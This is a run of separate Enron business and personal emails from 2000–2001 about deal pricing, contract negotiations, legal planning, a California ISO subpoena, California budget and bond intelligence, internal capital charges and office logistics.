This is the price Prebon quoted to Mike tonight - he'll be checking in the 
morning to see what the spread should have been.

Thanks,
Kate

04/10/2001 03:23 PM
cc:  

Subject: deal 577823

Mike Driscoll
deal 577823
Prebon shows price as $97.95 ....enpower has $79.95

Les,

The revised version  of the VaR article looks fine.

Vince

Please close down Lotus Notes tonight before you leave for the evening.  We 
will be doing work on the server tonight around 8pm to add more HD space.  If 
you have any questions or concerns please contact Chip or myself.

Thanks,
Diana

Are we still on?  Where do you want to go?  I was thinking Mexican, but let 
me know what you think.

DG    713-853-9573

I'm holding up just fine.  Thanks a bunch for caring.  Have a great time in 
the Virgin Islands!  Is it a Survivor gig?

	Susan M Landwehr
	02/08/2001 07:52 PM
		
		 cc: 
		 Subject: Re: 

We missed you too.  Everybody is kind of worried about you....and hoping that 
you're holding out o.k..  Barbara wasn't able to make it and Marchris was 
hanging out with Governor Jeb, so we had a smaller group.  I just got back to 
Mpls and am heading off to the Virgin Islands on Saturday.  

	Jeff Dasovich
	Sent by: Jeff Dasovich
	02/07/2001 07:04 PM
		
		 To: Donald Lassere/Enron Communications@ENRON COMMUNICATIONS
		 cc: Barbara A Hueter/NA/Enron@ENRON, Jan Haizmann/LON/ECT@ECT, Jane 
Wilson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lara Leibman/NA/Enron@ENRON, 
Marchris Robinson/NA/Enron@ENRON, Margo Reyna/NA/Enron@ENRON, Michael 
Grimes/AP/Enron@ENRON, Mona L Petrochko/NA/Enron@ENRON, Ricardo 
Charvel/NA/Enron@ENRON, Scott Bolton/Enron Communications@Enron 
Communications, Stephen D Burns/Corp/Enron@ENRON, Sue Nord/NA/Enron@ENRON, 
Susan M Landwehr/NA/Enron@ENRON, Tracy Cooper/Enron Communications@Enron 
		 Subject: 

Just wanted to send a note to say that I'm very sorry that I couldn't make it 
to the meeting, miss catching up with folks, and hope that all's going well.  
Hope to see you very soon.

Best,
Jeff

talk to me later

The lawyers had a kick-off meeting today.  Vicki and I echoed your point on 
not shutting down the business.   We have a great team assembled and I think 
it will calm down the traders in EWS.  I will keep you posted.

	David W Delainey@EES
	05/11/2001 05:55 PM
		 
		 To: Mark E Haedicke/HOU/ECT@ECT
		 cc: 
		 Subject: Plan to Rebuild the Business

Mark, I appreciate your help in these matters.  We need to be accurate and 
manage our risk but we can't "land the plane" or kill current and future deal 
velocity in the process.  Let me know how I can help.

Thanks much
Dave
---------------------- Forwarded by David W Delainey/HOU/EES on 05/11/2001 
05:54 PM ---------------------------
From: Mark E Haedicke@ECT on 05/11/2001 05:46 PM
To: Vicki Sharp/HOU/EES@EES
cc:  (bcc: David W Delainey/HOU/EES)
Subject: Plan to Rebuild the Business

Here are my thoughts so far:

1.  Initial Legal Team -- Jeff Hodge, Jim Keller, Carol St. Clair, Aaron 
Rothwarg

2.  Spot Check the Forms -- over the next week

3.  Conform Forms to ENA Forms -- over next two months

4.  Develop Form Approval Process -- dual approvals by EES and ENA

5.  Develop Deal Approval Process -- deals above a certain size (or material 
variations from the form) would require concurrent EWS approval

6.  Request List of Major Contract Concerns from Traders -- items that cannot 
be hedged

---------------------- Forwarded by Beth A Ryan/HOU/ECT on 02/07/2000 03:38 

Brian Redmond
02/07/2000 03:35 PM
To: 
cc:  
Subject: 2000 Goals & Objectives

Team:

The attached provides a summary of our goals & objectives for 2000.  We have 
a number of challenges this year, but we making good progress building on our 
success in 1999.

The 2000 goals and objectives were developed as part of last year's budget 
process and were refined during our recent offsite.    A compilation of the 
presentations from the offsite were distributed to each of the VP's for 
discussion with their groups.  It will take continued effort from each of us 
to shift our source of earnings from monetizations to commercial 
origination.  As always, your ideas and active participation is encouraged.

Regards,
Brian

All Research Weather Team Time Sheets are completed.

Thanks

LENHART, MATTHEW F,
 
You have been selected to participate in the Mid Year 2001 Performance Management process.  Your feedback plays an important role in the process, and your participation is critical to the success of Enron's Performance Management goals.
 
To complete a request for feedback, access PEP at http://pep.enron.com and select Complete Feedback from the Main Menu.  You may begin providing feedback immediately and are requested to have all feedback forms completed by Friday, May 25, 2001. 
 
If you have any questions regarding PEP or your responsibility in the process, please contact the PEP Help Desk at:
London:  44.207.783.4040, Option 4 or email: pep.enquiries@enron.com 
 
Thank you for your participation in this important process. 
 
The following is a CUMULATIVE list of employee feedback requests with a status of "OPEN."  Once you have submitted or declined an employee's request for feedback, their name will no longer appear on this list.  NOTE: YOU WILL RECEIVE THIS MESSAGE EACH TIME YOU ARE SELECTED AS A REVIEWER. 
 
Employee Name:
CHRISTIANSEN, SUZANNE
LISK, DANIEL
MACK III, HILLARY

Kevin,
 
Put Russell down as 100%.  He's in San Antonio this weekend with his visiting brothers and unfortunately, his contract is here in Houston.  I talked to him last night and he had Jeannie Sloan fax his doc to the hotel and he assured me he'd review it then or first thing this a.m.  I'm sure he'll find the language acceptable since it's merely a 30-day evergreen.  As for additional $'s, I personally guaranteed him $10k and gave him 50-50 odds on the 1-year contract we talked about yesterday.  He's in either way.
 
 I also called Suarez yesterday and left a message, but haven't heard back yet.  I'll lob another call in this morning around 10am.
 
Did you receive a faxed signature copy from Carson yesterday/this a.m.?
 
Flet

----- Forwarded by Debra Perlingiere/HOU/ECT on 05/22/2000 04:53 PM -----

	Julie Meyers
	05/22/2000 04:47 PM
		 
		 To: Richard Jeffrey/Corp/Enron@Enron, Debra Perlingiere/HOU/ECT@ECT
		 cc: Lauri A Allen/HOU/ECT@ECT
		 Subject: GISB FOR PG&E TEXAS INDUSTRIAL

PG&E Texas Industrial would like to setup a GISB under HPLC.  We currently 
have one with ENA, and they are telling me that they can not do business with 
HPLC until they get an agreement in place.  Would you please send to Steve 
Kennedy with PG&E Texas Industrial (Fax 713-371-6906) the information he 
needs for him to send us a GISB.

If possible, could we send that today.  If not, tomorrow at the lastest.  If 
that can not happen please call me and give a status so I can call Mr. 
Kennedy and give him an ETA.

Thank you!

Julie

Thanks!!!!!!!!!!!!!!!

Attached is a revised Credit Watch listing for the week of 10/29/01.   Please note that Co-Steel, Inc. was placed on "Call Credit" this week.

CONGRATULATIONS!

You have been selected as a finalist in the NVP Travel Giveaway!

Prizes are accommodations for two for two nights at any one of the following locations:

-- Ft. Lauderdale or Daytona, FL
-- Williamsburg, VA
-- Orlando, FL
-- Las Vegas, NV
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OK

	Mary Cook
	02/14/2001 10:09 AM
		 
		 cc: 
		 Subject: Apache, Fletcher

I am going to move this file to Frank.  mary

Mary Cook

We have asked the EnronOnline team to send the Master User ID and Password to 
the person who signed the PA.  Our theory was that the signer presumably has 
the authority to bind the counterparty and understands that any holder of the 
password can also bind the counterparty.  If they want to give it to someone 
else, so be it.  But we should not be taking it upon ourselves to send the 
password to someone else unless we have conducted the same level of due 
diligence on that name as we have on the PA signer.  I was told we were not 
looking into the authority of the "nominated" Master Users inn any way but 
that we were taking some steps to verify the authority of the PA signers.  It 
just seemed safer to me to take this approach.

Quallaby has not rec'd anything. 
Please confirm use of the following address: 
        Quallaby Corporation 
        59 Composite Way, Suite 400 
        Lowell, MA 01851 
        Attn: Ray DeZenzo 
Thanks. 
From: Rick.Shoup@enron.com [mailto:Rick.Shoup@enron.com ] 
Sent: Wednesday, October 03, 2001 7:13 PM 
To: Mark.Greenberg@enron.com; rdezenzo@quallaby.com 
Cc: Tana.Jones@enron.com; Dan.Cummings@enron.com 
Subject: RE: Quallaby / Evaluation Agreement 
Mark, 
   Has Quallaby been sent the signed document? 
Thanks, 
Rick 
   -----Original Message----- 
   From: Greenberg, Mark 
   Sent: Tuesday, September 18, 2001 10:30 PM 
   To: "DeZenzo, Ray" <rdezenzo@quallaby.com>@ENRON 
   Cc: Jones, Tana; Shoup, Rick; Greenberg, Mark 
   Subject: RE: Quallaby / Evaluation Agreement 
   Ray - 
   The changes made are acceptable.  I will have two originals circulated 
   internally for signature and forward them to your company for 
   counter-signature. 
   As I will be out of the office through tomorrow, it may be the end of 
   the week before you have the agreements in hand. 
   Mark 
     -----Original Message----- 
     From: "DeZenzo, Ray" <rdezenzo@quallaby.com>@ENRON 
     Sent: Mon 9/17/2001 5:37 PM 
     To: Greenberg, Mark 
     Cc: Shoup, Rick; Axbey, Tom; Borchgrevink, Jack 
     Subject: RE: Quallaby / Evaluation Agreement 
     Mark, 
             Attached you'll find a clean and blackline version of the 
     revised agreement which reflects changes resulting from your items 
     1,2,3 and 5 below.  The intent behind not changing item 4 is that if 
     Enron were to use the software in one of the identified "dangerous or 
     hazardous" uses Enron would be on it's own.  If you have any further 
     questions or comments please do not hesitate to contact me at 978 
     322-4220.  Otherwise please arrange to execute 1 original and fax it 
     to me at 978 322-4100 for counter signing. 
     Thanks, 
     Ray 
     From: Mark.Greenberg@enron.com [ mailto:Mark.Greenberg@enron.com  
     <mailto:Mark.Greenberg@enron.com > <<mailto:Mark.Greenberg@enron.com >> 
     ] 
     Sent: Monday, September 17, 2001 10:44 AM 
     To: rdezenzo@quallaby.com 
     Cc: Rick.Shoup@enron.com 
     Ray - 
     Thanks for the response and the black line.  Below are my additional 
     comments: 
     1.  The reference to "Hardware Products" needs to be deleted, as does 
     the 
     Schedule B.  It is my understanding that the hardware is provided by a 
     different vendor.  If it is necessary to reference the hardware as a 
     requirement for running the software programs, this should be listed 
     in 
     Schedule A as a specification. 
     2.  Paragraph 2.1 - the term "its best efforts" should be replaced 
     with 
     "reasonable efforts" and, if it is Quallaby's position that Enron 
     pursue 
     confidential treatment of the information, despite legal requirements 
     to 
     disclosed placed on Enron, the reasonable cost for pursuing this 
     protection 
     should be borne by Quallaby. 
     3.  Paragraph 3.2 - the change made at the end of the paragraph needs 
     to 
     read "... BUT SPECIFICALLY EXCLUDING ANY WARRANTIES ASSOCIATED WITH 
     THE 
     INDEMNITY OBLIGATIONS OF SECTION 3.1(a) AND 3.1(b) ABOVE."  Since 
     neither 
     of the referenced provisions are, themselves, warranties, it is 
     incorrect 
     to reference them in 3.2 as being warranties. 
     4.  Paragraph 3.3 - the following language should be inserted after 
     the 
     word "applications" - "save and except for any indemnity obligations 
     of 
     Quallaby set forth in Section 3.1 above."  By not having this 
     reference, it 
     is possible that section 3.3 could be read to negate Quallaby's 
     obligations 
     as set out in Section 3.1. 
     5.  In Section 5 of the Agreement - a new paragraph should be added as 
     paragraph 5.9 to indicate as follows:  "The provisions of Sections 2, 
     3 and 
     4 shall survive any termination or expiration of this Agreement." 
     This is 
     more so important now that Quallaby has included specific provisions 
     enabling it to terminate the agreement upon a threat of an 
     infringement 
     claim. 
     With changes in the areas indicated above incorporated into the 
     agreement, 
     we are prepared to move this matter forward. 
     Thanks for your continued assistance and cooperation. 
     Mark 
         -----Original Message----- 
        From:   "DeZenzo, Ray" <rdezenzo@quallaby.com>@ENRON 
                  [ 
     mailto:IMCEANOTES-+22DeZenzo+2C+20Ray+22+20+3Crdezenzo+40quallaby+2Ecom+3E+40ENRON@ENRON.com  
     <mailto:IMCEANOTES-+22DeZenzo+2C+20Ray+22+20+3Crdezenzo+40quallaby+2Ecom+3E+40ENRON@ENRON.com > 
     <<mailto:IMCEANOTES-+22DeZenzo+2C+20Ray+22+20+3Crdezenzo+40quallaby+2Ecom+3E+40ENRON@ENRON.com >> 
     ] 
        Sent:   Monday, September 17, 2001 7:44 AM 
        To:     Greenberg, Mark 
        Cc:     Shoup, Rick; Borchgrevink, Jack; Axbey, Tom 
        Subject:  Quallaby / Evaluation Agreement 
        Mark, 
                Attached you'll find a clean and blackline version of the 
        Evaluation Agreement.  We have accepted many of your changes and 
        rearranged others.  If you have any questions or would like to 
     discuss 
        any component of the agreement please do not hesitate to contact me 
        directly at 978 322-4220.  Otherwise please arrange to execute 1 
        original and fax it to me at 978 322-4100 for counter signing. 
        Thanks, 
        Ray DeZenzo 
        CFO 
         <<Evaluation Agreement - Enron - 010917.DOC>>  <<Evaluation 
     Agreement - 
        Enron - 010917-BL.DOC>> 
         - Evaluation Agreement - Enron - 010917.DOC << File: Evaluation 
        Agreement - Enron - 010917.DOC >> 
         - Evaluation Agreement - Enron - 010917-BL.DOC << File: Evaluation 
        Agreement - Enron - 010917-BL.DOC >> 
     ********************************************************************** 
     This e-mail is the property of Enron Corp. and/or its relevant 
     affiliate and may contain confidential and privileged material for the 
     sole use of the intended recipient (s). Any review, use, distribution 
     or disclosure by others is strictly prohibited. If you are not the 
     intended recipient (or authorized to receive for the recipient), 
     please contact the sender or reply to Enron Corp. at 
     enron.messaging.administration@enron.com and delete all copies of the 
     message. This e-mail (and any attachments hereto) are not intended to 
     be an offer (or an acceptance) and do not create or evidence a binding 
     and enforceable contract between Enron Corp. (or any of its 
     affiliates) and the intended recipient or any other party, and may not 
     be relied on by anyone as the basis of a contract by estoppel or 
     otherwise. Thank you. 
      - Evaluation Agreement - Enron - 010917-2.DOC <<Evaluation Agreement 
     - Enron - 010917-2.DOC>> 
      - Evaluation Agreement - Enron - 010917-2-BL.DOC <<Evaluation 
     Agreement - Enron - 010917-2-BL.DOC>> 

Hi Wilson,

We discussed asking the counterparties for opinion letters.  Could you 
outline what you think we should ask for, or alternatively, just draft it?

Thanks,

Kay

---------------------- Forwarded by Darron C Giron/HOU/ECT on 12/04/2000 
04:13 PM ---------------------------

"hollyw" <hollyw@email.msn.com> on 12/04/2000 02:41:24 PM
To: "Sheri Thomas" <Sheri.Thomas@enron.com>, "Shane Herzog" 
<SHERZOG@ridgways.com>, "Rick Couvillon" <julierickcouv@hotmail.com>, 
"Raymond Paterson" <ray_paterson@hotmail.com>, "Nicol, Gary" <nicolg@bp.com>, 
"Matt Frazier" <fraz2girls@ev1.net>, "Len" <bigusdickus70@hotmail.com>, 
<KSowada@aol.com>, "KRISTI GIRON" <KRISTI.GIRON@cfisd.net>, "JoJo" 
<jhenness@webtv.net>, "John Schmitz" <jschm@telxon.com>, "Jim Miller" 
<jraggie1@pdq.net>, "Janine Gregor" <janine.gregor@talk21.com>, "Diego 
Gotthelf" <dygotthelf@hotmail.com>, "Debbie Hall" <gmind@icsi.net>, "Darron C 
Giron" <Darron.C.Giron@enron.com>
cc:  
Subject: Fw: What all us Motorcross racers could use

From: "Ronald Jones" <rjones562@earthlink.net>
To: "Scott" <ssmith@mariner-energy.com>; "Rochelle"
<rochelle@waterengineers.com>; "Robbins, Skip" <skip.robbins@eds.com>;
"James" <jhennes@c2i2.com>; "Holly" <hollyw@email.msn.com>; "Don and Rella"
<rella13@zebra.net>; "Carey" <cstanly@cstanly.com>
Sent: Monday, December 04, 2000 12:50 PM

>
> From: "gudeaw" <gudeaw@email.msn.com>
> To: "Mario Smith" <mariofsmith@msn.com>; "Mario Augusto Silva"
> <malsilva@uol.com.br>; "Mike Ohannesian" <mohannes@worldnet.att.net>; "Don
> Atkinson" <dsarva@prodigy.net>; "Danilo Garcia" <dang115@aol.com>; "Dari
> Garcia" <dario.garcia-1@kmail.ksc.nasa.gov>; "Dario Garcia"
> <dgarcia@darden.com>; "Gladys Bunch" <gbunch6772@cs.com>; "Tod Lindholm"
> <Tod_Lindholm@enron.net>; "Carlos Antonetti" <canton2330@aol.com>;
"Alfredo
> Gude" <al_gude@msn.com>; <Andrew.Parsons@enron.com>; "James Barnhart"
> <jamesgbarnhart@netscape.net>; "Janice Dupuy" <everclear1212@msn.com>;
"Mary
> Wyatt" <mswyatt@worldnet.att.net>; "MaryAnn Long" <malong0509@aol.com>;
> <DickTeel@aol.com>; "Skip Robbins" <skip.robbins@eds.com>; "Ronald Jones"
> <rjones562@earthlink.net>; "Lisa Black" <esblack@home.com>; "Frank
> Sarmiento" <trout@mpinet.net>; "Gene Diers" <eddd1955@earthlink.net>;
> "George Fastuca" <gfastuca@aol.com>; "Howard Sarmiento"
<snook@mpinet.net>;
> "Jerry Setlle" <jlsettle@aol.com>; "Jon Trevelise" <jtrevelise@aol.com>;
> "Rogelio Ortiz" <rrortiz@interpoint.net>
> Sent: Sunday, December 03, 2000 8:14 PM
> Subject: Fw: What all us Motorcross racers could use
>
>
> >
> > ----- Original Message -----
> > From: "Garcia, Dario M." <DMGarcia@xch-bsco-06.ksc.nasa.gov>
> > To: <DanG115@aol.com>; <gudeaw@email.msn.com>; "Leonard, Wil E."
> > <WELeonar@kscbna.ksc.nasa.gov>; "Masse, Jason D"
> > <jason.d.masse@usago.ksc.nasa.gov>; "May, Henry R"
> > <henry.r.may@usago.ksc.nasa.gov>; "Munroe, Alex"
> > <alex.munroe@usago.ksc.nasa.gov>
> > Sent: Monday, December 04, 2000 7:59 AM
> > Subject: FW: What all us Motorcross racers could use
> >
> >
> > -----Original Message-----
> > From: EXT-Dean, Bill T [SMTP:Bill.Dean@West.Boeing.com]
> > <mailto:[SMTP:Bill.Dean@West.Boeing.com]>
> > Sent: Monday, December 04, 2000 8:50 AM
> > To: 'Bernie Drake'
> >
> >
> >
> > > From: Liam Wong [SMTP:liamwong@mindspring.com]
> > <mailto:[SMTP:liamwong@mindspring.com]>
> > > Sent: 03 December, 2000 6:41 PM
> > > To: liamwong@mindspring.com <mailto:liamwong@mindspring.com>
> > > Subject: What all us Motorcross racers could use
> > >
> > >  <<inspir.jpg>>
> >  <<inspir.jpg>>
> >
> >
>

 - inspir.jpg

I'll put it on your desk.
---------------------- Forwarded by Kay Mann/Corp/Enron on 01/08/2001 09:05 

01/05/2001 06:25 AM
cc:  

Subject: Re: GE Turbine Contracts  

Kay:

We have resent to your fax number.  Please let me know if you don't have them 
when you get in.  Please send my set of documents to G G Garcia.  She is 
located in 3AC2104 and she can forward them to me in Sao Paulo.

Thanks,
Brett

Kay Mann
01/04/2001 12:46 PM
To: Brett R Wiggs/SA/Enron@Enron
cc:  

Hi Brett,

We haven't been able to locate it.  Could you resend?

Where should I send your set of docs?

Thanks,

Kay

01/04/2001 07:52 AM
cc:  

Subject: GE Turbine Contracts

Kay:

Were you able to find my faxed signatures?  Do you need originals?  Are you 
going to send out a complete set of the final documents?

Thanks,
Brett

Hey J-Boy, Just wanted you to know I made it home OK.  Keran was doing wonderful and I knew she & Brennen were ready for time to themselves.  I can't tell you how much I enjoyed our visits.  Tell Angie I missed seeing her and next time I want to visit with her too.  Thank you for your concern for Keran, You were there for me when I needed you. 
Mel

John,

Please, take a look at this resume. 
One complicating factor: this person is under freeze (EI employee).

Vince

Clarissa - Thanks so much for all your help with this pipe!  Everything looks great.  I just have a couple of paths
that I need to finish it:

January 2000 - I need deal #854688 pathed for EPGT and for TETC.  According to the invoice, we should have
                      11,129 dth on the interconnect.

February 2000 - I need deal #871184 pathed for HPL and CHAN.  HPL should have 3,600 dth and CHAN should
                       have 11,500 dth on the interconnect.

July 2000 - Deal #871172 has an interconnect issue.  According to MOPS contract #105124, they received 8,275 dth
                 on the Matagorda 624, but according to EPGT, they delivered 10,362 dth to HPL (?)  Could this possibly
                 need to be split somehow, or do you have any other ideas?

Let me know.  Thanks, Gloria 3-7118

Thank you for all your help this morning in getting the agreement prepared in 
final for Alan's signature.  If you would have not jumped in and volunteered 
to make Alan's changes I would not have completed the document in time.
Laurie

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Larry Campbell
07/03/2001 04:06 PM
To: Team Andrews/ET&S/Enron@ENRON, Team Spraberry@Enron, Myron 
Maresch@eott.com
cc: James R Lawrence/ET&S/Enron@Enron, Scott Clark/OTS/Enron@ENRON, William 
Kendrick/OTS/Enron@Enron 

Subject: field visit of EOTT tanks

In the final phase of developing and determining environmental compliance for 
the EOTT crude oil tanks in the Midland Region, I have planned a one day site 
visit on the following days to visit each team location to finalize the 
spreadsheet for EOTT crude oil tank environmental compliance:

Andrews team  August 20 8:00 am

Spraberry team  August 21 8:00 am

Lamesa team  August 22 9:00 am
 
I would appreciate one member from each team be available at the team office 
on the assigned day and time to discuss tank history and possibly visit each 
tank farm within the teams area of responsibility. Your patience and 
assistance in finalizing this information will be greatly appreciated. If a 
conflict arises, give me a call at (505) 625-8022.

----- Forwarded by Richard B Sanders/HOU/ECT on 02/21/2001 11:17 AM -----

	Tim Belden
	02/21/2001 08:46 AM
		 
		 cc: 
		 Subject: Subpoena Requiring March 5 Response

are you on top of this?
---------------------- Forwarded by Tim Belden/HOU/ECT on 02/21/2001 05:47 AM 
   
	From:  "Fuller, Don" <DFuller@caiso.com>@caiso.com>                           
02/20/2001 04:33 PM
	
Sent by: "Happ, Susan" <SHapp@caiso.com>
cc:  
Subject: Subpoena Requiring March 5 Response

To Market Participants and Scheduling Coordinators:

The ISO received a subpoena requiring a response by March 5, from the
Plaintiff in People of the State of California vs Dynegy Power Marketing,
Inc., et al, a proceeding in the San Francisco Superior Court Civil
Division.  The subpoena is attached.  The ISO intends to seek a protective
order prior to disclosure of information subject to ISO tariff section
20.3.2.  Market participants wishing to take steps to seek protections for
confidential information in accordance with tariff section 20.3.4 should
directly contact Mr. Patrick J. Coughlin, attorney for the Plaintiff, at
415-288-4545 and notify Jeanne Sol, at jsole@caiso.com and Norma Formanek at
<mailto:nformanek@fbm.com> nformanek@fbm.com.
Jeanne M. Sol,
Regulatory Counsel
California ISO
(916) 608-7144
____________________________________________________________________________
_______________________________________

The Foregoing e-Mail Communication (Together With Any Attachments Thereto)
Is Intended For The Designated Recipient(s) Only. Its Terms May Be
Confidential And Protected By Attorney/Client Privilege or Other Applicable
Privileges.  Unauthorized Use, Dissemination, Distribution, Or Reproduction
Of This Message Is Strictly Prohibited.

 - Deposition Subpoena (2).pdf

Sure, let me know when you want to sit down. We will dicuss Calpine, Retail 
shorts, and Risk mgt.
Jin

Benjamin Rogers@ECT
02/22/2000 08:09 AM
To: Jinsung Myung/Corp/Enron@ENRON
cc:  

Subject: Re: Calpine Update  

Wanted to see how the meeting with Don Black went regarding the "retail 
shorts" on Friday.  Lets catch up on the other deals. Thanks
Ben

Kathleen,

Is everything ok?  I hope you are just having a nice day to yourself.  What 
perfect weather!

Kay

The docket number for the Red Rock Expansion application is CP01-115, in case any of your shippers ask.

---------------------- Forwarded by Randall L Gay/HOU/ECT on 04/07/2000 01:52 
   
	From:  William Kelly                           04/07/2000 01:52 PM
	
To: Randall L Gay/HOU/ECT@ECT
cc:  
Subject: Game

I appreciate your inviting the Risk group on this outing.  I understand about 
the ticket issue, but the gesture is what counts anyway.

Thanks again.

WK

We saw that on TV.  It was very interesting.

----Original Message Follows----
From: Jason.Wolfe@enron.com
To: "Larry Wolfe" <caboom@accessus.net>
Date: Thu, 12 Apr 2001 11:58:22 -0500

http://www.cnn.com/2001/TRAVEL/NEWS/04/12/fat.cat.ap/index.html?s=10

Show Mom this link before it changes.

Thanks,
Jason

that sounds fine - but the zoo is in balboa park as well

	From:  Shanna Husser @ EES                           12/28/2000 08:00 AM
	
cc:  
Subject: Re: Trip to San Diego

My thoughts for the trip:

Friday:

Everyone says that you have to see the zoo if you are in San Diego.  Even- if 
you don't particularly like zoos.  Everything I read says that it will take 
at least half a day.  I say we hit that Friday morning through early 
afternoon.  Spend mid-afternoon near the hotel- beach area- suppose to be 
shopping, etc. near there.  Then go to the game.  When we get back that 
night- we can walk on the beach!

Saturday:

Visit Balboa Park.  See the Botanical Gardens, in other musuems/gardens in 
the area that look interesting.  If we aren't sick of seeing animals, there 
is suppose to be a wonderful Wild Animal Park that gives trolley or walking 
tours (the tours are only like an hour and a half).  After that- there is a 
ferry you can take across the bay to the Coronado Island to see the Hotel del 
Coronado.  It is suppose to be a really neat place.  Then- you we can finish 
the day in the Gaslamp Quarter downtown.  It is suppose to have a "lively 
evening street scene" and live music.

What do you think?  Let me know- so I can look up times that all of these 
open- if we are interested.

Shanna

Ken -- Continental Airlines magazine is doing a cover story on you for their 
April issue.  The interview is scheduled for Nov. 30.   I've scheduled a 
photo shoot for you on Dec. 8 in the office, but since they'll need several 
photos for the article, the photographer has asked if you're willing to have 
your photo taken in your home, as well.   If not, do you have any suggestions 
for alternate locations?  They're looking for a natural, comfortable setting.

Please let me know.  Thank you.
Karen

EXECUTIVE SUMMARY
?	State Budget Discussions Deteriorating -Bonds Issuance Jeopardized
?	PG&E Bankruptcy Advisor Comments on SoCal

Budget & Bond Concerns
Sources report that discussions within the state's budget conference committee have completely disintegrated.  Although last Tuesday's tentative $2.7B reserve agreement between the parties offered some hope to  the situation, Republicans have since completely broken with Democrats and are begging for a number nearly half of the previously agreed amount.  The legislative recess is scheduled to begin July 20th, and prior to the Davis administration, the legislature very rarely took month-long recesses due to the budget battle (there usually was a Democrat-controlled legislature and a Republican governor).  Sources report that if legislators take leave without a budget resolution, it would most likely compromise their ability to pass the budget and MOU, before the MOU's deadline of Aug. 15th.

Sources also indicate that delays in establishing the state's budget could prompt Wall Street investors to once again downgrade California credit rating.  A lowered rating could complicate the $12B bond issuance the state expects to offer in late September 2001 by forcing the state to offer a higher rate of return, which could mean fewer bonds.  Sources recently conducted a private interview with parties close to David Wiggs, head of the LA Department of Water & Power, (DWP is in constant contact with both SoCal and PG&E and is a creditor of both utilities and the DWR. -- Wiggs is close to and in constant contact with Governor Davis, Hertzberg and Burton, and he knows every other state official relevant to energy issues).  Wiggs' position on the bonds and SoCal follows:
?	The state is "really worried" about the bond issuance.  The state believes it can sell $3B in bonds now, but as for $11 - $12B, they are "not confident."  The state is currently trying to put its revenue streams in place, then it will have to prep Wall Street regarding the revenue streams. 
?	Wiggs saw Treasurer Angelides Wednesday (6/20) and told him that, "I wouldn't buy these bonds."  Wiggs stated that, "There is not a clear enough path for those rates."  
?	Wiggs was Hertzberg's advisor on energy.  He was also at El Paso (energy company, not gas company) during its bankruptcy.  Wiggs commented that he is worried because he lives in SoCal territory rather than DWR territory.
?	Both Wiggs and his DWR staff believe that an MOU/Plan B deal will not pass.  They are not thinking in terms of counting votes, but rather of the very large number of things that need to be done simultaneously in order to make a solution work.  

PGE Advisor on SoCal
Sources recently interview the attorney who is currently acting as bankruptcy advisor to PG&E, and may be the potential advisor to SoCal in bankruptcy proceedings.  Comment follow:
?	The attorney believes that the likelihood of a SoCal voluntary filing is 60 to 70%, but he does not know when it will happen.  The attorney would not speculate as to the likelihood of an involuntary filing, stating that he did not know. 
?	Concern was expressed that if a solution were passed to make SoCal liquid again, DWR (under instructions from the state) would then refuse to purchase the net short, leaving SoCal with a huge bill for power that it could not pay.  SoCal would then be faced with borrowing money to pay for the bill (an unlikely event, given their current status) or declaring bankruptcy.  The attorney commented that DWR had already tried to send power bills to PG&E in bankruptcy; Montali refused to force PG&E to pay them.  The attorney therefore believes that DWR is likely to force SoCal (and PG&E if it were made solvent) to resume paying for power as soon as possible.  The attorney believes that SoCal is aware of this problem and that it must be taken into account as part of a bailout solution.

---------------------- Forwarded by Jeffrey C Gossett/HOU/ECT on 04/23/2001=
=20
10:44 AM ---------------------------
From: Enron Americas - Office of the Chairman@ENRON on 04/17/2001 01:05 AM
cc: =20
Subject: Capital Book

To further the process of reaching the stated objectives of increasing Enro=
n=20
America=01,s Velocity of Capital and associated Return on Invested Capital,=
 we=20
have decided to create a Capital Book. The Capital Book will have no profit=
=20
target associated with it and will be managed by Joe Deffner. The purpose o=
f=20
creating this book is to ensure that all transactions within Enron Americas=
,=20
with any form of capital requirement, are structured correctly and are=20
allocated the appropriate cost of capital charge.=20

The previous numbers used in the Business Plans at the beginning of this ye=
ar=20
will remain for all transactions in place and where we hold assets.=20
Therefore, on any assets currently held within each business area, the=20
capital charge will remain at 15%. Internal ownership of these assets will =
be=20
maintained by the originating Business Unit subject to the Internal Ownersh=
ip=20
Policy outlined below.

The cost of capital associated with all transactions in Enron Americas will=
=20
be set by Joe. This process is separate and apart from the current RAC=20
process for transactions which will continue unchanged.

Capital investments on balance sheet will continue to accrue a capital char=
ge=20
at the previously established rate of 15%. Transactions which are structure=
d=20
off credit will receive a pure market pass through of the actually incurred=
=20
cost of capital as opposed to the previous 15% across the board charge.=20
Transactions which are structured off balance sheet, but on credit will be=
=20
priced based upon the financial impact on Enron America=01,s overall credit=
=20
capacity.

On transactions that deploy capital through the trading books, the Capital=
=20
Book will take a finance reserve on each transaction, similar to the way th=
e=20
Credit Group takes a credit reserve. This finance reserve will be used=20
specifically to fund the capital required for the transaction. As noted=20
above, the Capital Book will have no budget and will essentially charge out=
=20
to the origination and trading groups at actual cost.

By sending market-based capital pricing signals internally, Enron America=
=01,s=20
sources of capital and liquidity should be better optimized across the=20
organization.=20

Joe Deffner  853-7117
Alan Quaintance 345-7731

Current Notes User: 

To ensure that you experience a successful migration from Notes to Outlook, 
it is necessary to gather individual user information prior to your date of 
migration.  Please take a few minutes to completely fill out the following 
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Outlook 2000 Migration Team

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    If yes, who?  

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    If yes, which shared calendar?  

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    If yes, please list here:  

Please list all Notes databases applications that you currently use:  

In our efforts to plan the exact date/time of your migration, we also will 
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What are your normal work hours?  From:      To:      

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       If so, when?        From (MM/DD/YY):      To (MM/DD/YY):      

Do you have an address for these guys?

From: 	Miles, Andrew  
Sent:	Tuesday, August 07, 2001 1:40 PM
Subject:	CA with Powder River Energy

Hey Gerald!

I finally got my computer back up.  The name of the utility is Powder River Energy Corporation - A Touchstone Energy Cooperative (I don't know if you need that last part or not).  The relationship is this:

ECS is acting as the agent on behalf of Crestone Energy Ventures, LLC to purchase power and deliver shaft horsepower.  We will be buying electricity strictly off of PRECORP's tariff.  We will also be providing the cash for PRE to build transmission to the compressor site.  Right now, the deal term is for 10 years, starting in May '02, but we will begin negotiations with them immediately.  

Last week I met with three people from PRECORP, just to begin the relationship, one of which was Clarence Moshier (Chief Operating Officer for PRECORP), who I spoke to again yesterday.  He said that they would have no problem signing a CA with us.  Basically, I just want to make sure that whatever we put in place with PRECORP cannot be relayed to Crestone by them.

Anything else you need?

Andrew

Matt:

As GSS Business Development transitions the HP relationship for broadband to 
your team, there are several issues I wanted to clarify in terms of how the 
relationship has been developed and who the contacts have been to date.  
Additionally, I outlined the discussion points/action items from this 
morning's meeting you held with Jennifer Medcalf and myself.  Per your 
request, the HP presentation complete with a listing of HP's business 
